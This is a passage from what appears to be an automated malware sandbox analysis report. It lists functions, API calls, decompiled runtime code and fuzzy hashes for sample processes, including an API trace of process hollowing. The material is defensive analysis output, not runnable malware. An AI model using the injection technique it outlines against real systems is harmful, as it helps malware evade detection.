Instruction Fuzzy Hash: 4CA0022154466816015137A71C87B4A755E58C471F7D6409A7518021035E5CB94640AE

Uniqueness

Uniqueness Score: -1.00%

Function 02EBDB09, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02EBDB5A

Memory Dump Source

Source File: 00000000.00000002.258301791.0000000002EB9000.00000040.00000001.sdmp, Offset: 02EB9000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 81871bf2efe380e1b1dfac2f57a9dea2a31226b2a0ced1c950e14f5bf8e33ef6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A4113979A40208EFDB01DF98C985E99BBF5AF08351F05C0A4F9489B361D375EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00420900, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00420900(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43e1d4; // 0x1f368926
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ff30 = _t6;
				 *0x43ff2c = _t20;
				 *0x43ff28 = _t22;
				 *0x43ff24 = _t19;
				 *0x43ff20 = _t25;
				 *0x43ff1c = _t24;
				 *0x43ff48 = ss;
				 *0x43ff3c = cs;
				 *0x43ff18 = ds;
				 *0x43ff14 = es;
				 *0x43ff10 = fs;
				 *0x43ff0c = gs;
				asm("pushfd");
				_pop( *0x43ff40);
				 *0x43ff34 =  *_t29;
				 *0x43ff38 = _v0;
				 *0x43ff44 =  &_a4;
				 *0x43fe80 = 0x10001;
				_t11 =  *0x43ff38; // 0x0
				 *0x43fe34 = _t11;
				 *0x43fe28 = 0xc0000409;
				 *0x43fe2c = 1;
				_t21 =  *0x43e1d4; // 0x1f368926
				_v812 = _t21;
				_t23 =  *0x43e1d8; // 0xe0c976d9
				_v808 = _t23;
				 *0x43fe78 = IsDebuggerPresent();
				_push(1);
				E004270C0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x4093ec);
				if( *0x43fe78 == 0) {
					_push(1);
					E004270C0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00420900
0x00420900
0x00420900
0x00420900
0x00420900
0x00420900
0x00420900
0x00420906
0x00420908
0x00420908
0x0042d15b
0x0042d160
0x0042d166
0x0042d16c
0x0042d172
0x0042d178
0x0042d17e
0x0042d185
0x0042d18c
0x0042d193
0x0042d19a
0x0042d1a1
0x0042d1a8
0x0042d1a9
0x0042d1b2
0x0042d1ba
0x0042d1c2
0x0042d1cd
0x0042d1d7
0x0042d1dc
0x0042d1e1
0x0042d1eb
0x0042d1f5
0x0042d1fb
0x0042d201
0x0042d207
0x0042d213
0x0042d218
0x0042d21a
0x0042d224
0x0042d22f
0x0042d23c
0x0042d23e
0x0042d240
0x0042d245
0x0042d25d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042D20D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042D224
UnhandledExceptionFilter.KERNEL32(004093EC), ref: 0042D22F
GetCurrentProcess.KERNEL32(C0000409), ref: 0042D24D
TerminateProcess.KERNEL32(00000000), ref: 0042D254

Memory Dump Source

Source File: 00000000.00000002.257888995.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.257885240.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.257926047.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.258143677.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: e321a6a1537132065f99f1a954c1af46b14eb85bf0d53a45a870cc32e1886c16
Instruction ID: 0a5557bf51f2979313edc0ad4742da6bf926d6592bb572d4145d33a071970d01
Opcode Fuzzy Hash: e321a6a1537132065f99f1a954c1af46b14eb85bf0d53a45a870cc32e1886c16
Instruction Fuzzy Hash: BB21F0B9D012049BC700DF55FE856487BA0BB4D314F50203BED08963B2E7B44589CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 02EBD727, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.258301791.0000000002EB9000.00000040.00000001.sdmp, Offset: 02EB9000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 83397e7c44c11a1f43ddf2efc42d1d5abacd1b058f82a1e57af8dcaa6ebc9baf
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 02118E72380110AFD744DF55DCC0EE773EAEF88224B2980A9ED08CB711E675E802CB60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cnv622JnZv.exe PID: 6000 Parent PID: 1940 cnv622JnZv.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004015DB, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed2891f3b553ceccb1197e576bb3cc6c62237795c24559e61feaca1efd6c1519
Instruction ID: fd271a60069478d9e85e2fad7deaa7712c787be95f3be9aeab1b4b987b801010
Opcode Fuzzy Hash: ed2891f3b553ceccb1197e576bb3cc6c62237795c24559e61feaca1efd6c1519
Instruction Fuzzy Hash: D901AF73818B07AB43709A7C4D8901E7F955A91230B494B6DB672B3EFAE634C90283C5

Uniqueness

Uniqueness Score: -1.00%

Function 0040156A, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98ce89cfeeb5ddd9997256b5ea2b205477bd2588cb9c6c16e4865f99cdeb7182
Instruction ID: 4f6bc8fa09aa5bdcf42d43fc69351f521f911aca1d628afa7bc85602f15907e6
Opcode Fuzzy Hash: 98ce89cfeeb5ddd9997256b5ea2b205477bd2588cb9c6c16e4865f99cdeb7182
Instruction Fuzzy Hash: 0D019E76558F0B6F43509D3C4A8554ABF525A9A1307C40B2CB272B3BFAD734C5018380

Uniqueness

Uniqueness Score: -1.00%

Function 0040163B, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.320116448.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00b9d1c930405a9e521bac72b58a8e4ce3d6aa83d2bf40b4aa186e223dc26d8b
Instruction ID: 654c97a3283950a455190b9e492aed8f63260678440c25cc401c338180771753
Opcode Fuzzy Hash: 00b9d1c930405a9e521bac72b58a8e4ce3d6aa83d2bf40b4aa186e223dc26d8b
Instruction Fuzzy Hash: 1BD022B2474A16120612853C0C4802E7E0A08C31303C50F443633F30FDC218890743C4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: C5EA.exe PID: 4752 Parent PID: 3472 C5EA.exeCOMMON

Executed Functions

Function 02BA0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02BA0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02BA016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02BA0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02BA0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02BA0283
GetThreadContext.KERNELBASE(00000000,?), ref: 02BA029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02BA02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02BA02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02BA0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02BA032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02BA0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02BA03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02BA03E1
ResumeThread.KERNELBASE(00000000), ref: 02BA03ED
ExitProcess.KERNEL32(00000000), ref: 02BA0412

Memory Dump Source

Source File: 00000011.00000002.367729066.0000000002BA0000.00000040.00000001.sdmp, Offset: 02BA0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 632b1b6465649d6a9b4d2c8f49e4baa060c68c536f02b76b0bfa94e1a165469b
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 04B1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E949AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02BA0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02BA0533

Strings

mfoaskdfnoa, xrefs: 02BA0520, 02BA0523
d, xrefs: 02BA0584
saodkfnosa9uin, xrefs: 02BA04DA
0, xrefs: 02BA0492

Memory Dump Source

Source File: 00000011.00000002.367729066.0000000002BA0000.00000040.00000001.sdmp, Offset: 02BA0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: c29e2ef7a2d1c523384e8b5b7923161e6a0fd11537ca3a7deaa85f8a79b3cf85
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 2E513870D08388DEEB11DBE8C859BDDBFB2AF11708F144099D5487F286C3BA5658CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02BA05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02BA05EC

Strings

o, xrefs: 02BA0600
apfHQ, xrefs: 02BA05E2, 02BA05E5

Memory Dump Source

Source File: 00000011.00000002.367729066.0000000002BA0000.00000040.00000001.sdmp, Offset: 02BA0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 6c17c7390d7e927224fb75696ef7f3a27aaf7830bfd15f57a933dc82784c1ec3
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 20012170C0825CEFDF10EB98C5683AEBFB5AF41308F1484D9C4092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00421740, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041CAFB,?,?,004218B0), ref: 00421747

Memory Dump Source

Source File: 00000011.00000002.367319184.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.367311398.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000011.00000002.367388643.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000011.00000002.367645279.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: fdcdd448e6b8bcbf0c6b5ab0ca15c3fd51ab0a61d4fd7e444713d96113888b30
Instruction ID: b40f90978daf3ef329ab61763e319925ae037b8b9623a4d20099a1721ada3600
Opcode Fuzzy Hash: fdcdd448e6b8bcbf0c6b5ab0ca15c3fd51ab0a61d4fd7e444713d96113888b30
Instruction Fuzzy Hash: 56A01132088208A3C2002282AA0AB823A8CC3C8B22F000020F20C0A8A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C340, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00422F80(); // executed
				return L0041C360(_t3, _t4);
			}

0x0041c345
0x0041c350

APIs

___security_init_cookie.LIBCMTD ref: 0041C345

Memory Dump Source

Source File: 00000011.00000002.367319184.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.367311398.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000011.00000002.367388643.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000011.00000002.367645279.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 801511838882745d238d90719077076ab6878bacc9057c11ec7af23bfa7a170d
Instruction ID: 62e926cdd4df3c237a0c63636b8c015586018905d673ed3a2f22195a38f3ed02
Opcode Fuzzy Hash: 801511838882745d238d90719077076ab6878bacc9057c11ec7af23bfa7a170d
Instruction Fuzzy Hash: F3A0023134466D27015033E71A4794EF56D58C0B187D6411EB928025071C9CA94150AF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004203D0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004203D0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43d1d4; // 0xe7e94609
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ef30 = _t6;
				 *0x43ef2c = _t20;
				 *0x43ef28 = _t22;
				 *0x43ef24 = _t19;
				 *0x43ef20 = _t25;
				 *0x43ef1c = _t24;
				 *0x43ef48 = ss;
				 *0x43ef3c = cs;
				 *0x43ef18 = ds;
				 *0x43ef14 = es;
				 *0x43ef10 = fs;
				 *0x43ef0c = gs;
				asm("pushfd");
				_pop( *0x43ef40);
				 *0x43ef34 =  *_t29;
				 *0x43ef38 = _v0;
				 *0x43ef44 =  &_a4;
				 *0x43ee80 = 0x10001;
				_t11 =  *0x43ef38; // 0x0
				 *0x43ee34 = _t11;
				 *0x43ee28 = 0xc0000409;
				 *0x43ee2c = 1;
				_t21 =  *0x43d1d4; // 0xe7e94609
				_v812 = _t21;
				_t23 =  *0x43d1d8; // 0x1816b9f6
				_v808 = _t23;
				 *0x43ee78 = IsDebuggerPresent();
				_push(1);
				E00426B90(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter("(�C");
				if( *0x43ee78 == 0) {
					_push(1);
					E00426B90(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d6
0x004203d8
0x004203d8
0x0042cc2b
0x0042cc30
0x0042cc36
0x0042cc3c
0x0042cc42
0x0042cc48
0x0042cc4e
0x0042cc55
0x0042cc5c
0x0042cc63
0x0042cc6a
0x0042cc71
0x0042cc78
0x0042cc79
0x0042cc82
0x0042cc8a
0x0042cc92
0x0042cc9d
0x0042cca7
0x0042ccac
0x0042ccb1
0x0042ccbb
0x0042ccc5
0x0042cccb
0x0042ccd1
0x0042ccd7
0x0042cce3
0x0042cce8
0x0042ccea
0x0042ccf4
0x0042ccff
0x0042cd0c
0x0042cd0e
0x0042cd10
0x0042cd15
0x0042cd2d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042CCDD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042CCF4
UnhandledExceptionFilter.KERNEL32((C), ref: 0042CCFF
GetCurrentProcess.KERNEL32(C0000409), ref: 0042CD1D
TerminateProcess.KERNEL32(00000000), ref: 0042CD24

Strings

(C, xrefs: 0042CCFA

Memory Dump Source

Source File: 00000011.00000002.367319184.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.367311398.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000011.00000002.367388643.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000011.00000002.367645279.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: (C
API String ID: 2579439406-3375610692
Opcode ID: af6972b9c3d82b21718890dd16d9d665731d74a1f5daf12a4ecd50c50a61e23f
Instruction ID: ab1c5a64931e7d8763ab6dc255e252f6be9df93146680872de7bc963ccbcc3b5
Opcode Fuzzy Hash: af6972b9c3d82b21718890dd16d9d665731d74a1f5daf12a4ecd50c50a61e23f
Instruction Fuzzy Hash: D62105B9912214EBD700DF26FD856487BA0BB5C311F50643AE909973F2E7F569808F8E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: C5EA.exe PID: 1308 Parent PID: 4752 C5EA.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000012.00000002.378993176.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000012.00000002.378993176.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000012.00000002.378993176.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000012.00000002.378993176.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000012.00000002.378993176.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
